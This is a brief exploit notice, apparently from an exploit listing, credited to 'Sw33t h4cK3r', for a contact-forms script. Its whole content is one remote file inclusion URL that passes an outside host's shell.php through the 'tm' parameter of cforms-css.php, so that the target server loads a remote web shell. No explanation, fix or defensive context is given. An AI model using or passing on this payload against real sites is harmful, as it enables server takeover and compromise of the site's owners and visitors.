Discovery by: Sw33t h4cK3r

-----------

Exploit :

http://Example.com/contactforms/cforms-css.php?tm=http://site.com/shell.php